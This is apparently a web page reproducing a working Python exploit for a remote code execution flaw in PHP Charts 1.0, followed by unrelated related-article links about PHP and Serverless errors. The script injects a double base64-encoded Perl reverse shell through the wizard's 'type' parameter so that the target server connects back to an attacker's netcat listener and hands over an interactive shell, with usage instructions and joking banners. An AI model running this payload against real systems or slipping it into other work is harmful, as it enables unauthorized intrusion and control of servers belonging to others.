PHP Charts 1.0 Remote Code Execution

简介: #!/usr/bin/python# Original Advisory came from:# http://packetstormsecurity.
#!/usr/bin/python
# Original Advisory came from:
# http://packetstormsecurity.com/files/119582/PHP-Charts-1.0-Code-Execution.html
# infodox - insecurety.net
import requests
import random
import threading
import sys

def genpayload(host, port):
    """ Perl Reverse Shell Generator """
    load = """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';""" %(host, port)
    encoded = load.encode('base64')
    encoded = encoded.strip()
    encoded = encoded.replace('\n', '')
    encoded = encoded.encode('base64')
    encoded = encoded.strip()
    encoded = encoded.replace('\n', '') # double encoding , yes
    payload = "system(base64_decode(base64_decode('%s')))" %(encoded)
    return payload


def hack(pwn):
    requests.get(pwn)

def main():
    haxurl = "http://" + target + path + "wizard/index.php?type=';INSERTCODE;//"
    payload = genpayload(host, port)
    pwn = haxurl.replace("INSERTCODE", payload)
    print "[+] Preparing for hax"
    print "[!] Please run nc -lvp %s on your listener" %(port)
    raw_input("Press Enter to Fire...") # debugging
    print "[*] Sending malicious request..."
    threading.Thread(target=hack, args=(pwn,)).start() # ph33r l33t thr34d1ng
    print "[?] g0tr00t?"
    sys.exit(0)

def randomQuote():
    quotes =\
    ['Now with advice from Sabu!', 'Now with LOIC Support', 'Now with auto-DDoS',
    'Now with auto-brag!', 'Now with advice from Kevin Mitnick', 'Now with silly quotes!',
    'Comes with free forkbombs!', 'Now with a free copy of Havij', 'Are you stoned, or just stupid?']
    randomQuote = random.choice(quotes)
    return randomQuote

def banner():
    print "PHP-Charts v1.0 Remote Code Execution Exploit."
    randomquote = randomQuote()
    print randomquote

if len(sys.argv) != 5:
    banner()
    print "Usage: %s <target host> <path to wizard> <listener host> <listener port>" %(sys.argv[0])
    print "Example: %s hackme.com /wp/chart/chart/ hacke.rs 1337" %(sys.argv[0])
    sys.exit(1)
else:
    banner()
    target = sys.argv[1]
    path = sys.argv[2]
    host = sys.argv[3]
    port = sys.argv[4]
    main()


目录
相关文章
|
14天前
|
Java 中间件 Serverless
Serverless 应用引擎操作报错合集之在阿里函数计算中,云函数怎么一直报错Function instance exited unexpectedly(code 1, message:operation not permitted) with start command 'php server.php '.如何解决
Serverless 应用引擎(SAE)是阿里云提供的Serverless PaaS平台,支持Spring Cloud、Dubbo、HSF等主流微服务框架,简化应用的部署、运维和弹性伸缩。在使用SAE过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
26 2
|
移动开发 PHP
Visual Studio Code中的PHP提示错误:End of line character is invalid
Visual Studio Code中的PHP提示错误:End of line character is invalid
89 0
|
小程序 JavaScript PHP
基于PHP方法,微信公众号小程序获取code,access_token,openid,用户信息
基于PHP方法,微信公众号小程序获取code,access_token,openid,用户信息
242 0
|
JavaScript 前端开发 IDE
VSCode插件 code runner执行PHP,JavaScript,Python
VSCode插件 code runner执行PHP,JavaScript,Python
432 0
|
安全 PHP C++
VS Code配置PHP XDebug
VS Code配置PHP XDebug
354 0
VS Code配置PHP XDebug
|
JavaScript 前端开发 PHP
VSCode插件 code runner执行PHP,JavaScript,Python
VSCode插件 code runner执行PHP,JavaScript,Python
145 0
|
PHP
如何使用Visual Studio Code调试PHP CLI应用和Web应用
在按照Jerry的公众号文章 什么?在SAP中国研究院里还需要会PHP开发? 进行XDebug在本地的配置之后,如果想使用Visual Studio Code而不是Eclipse来调试PHP应用,步骤也比较简单。
1283 0
|
PHP C++
visual studio code 安装 PHP IntelliSense 报错
vs code (版本1.28)安装完PHP IntelliSense , 报错 :PHP executable not found. Install PHP 7 and add it to your PATH or set the php.
5991 0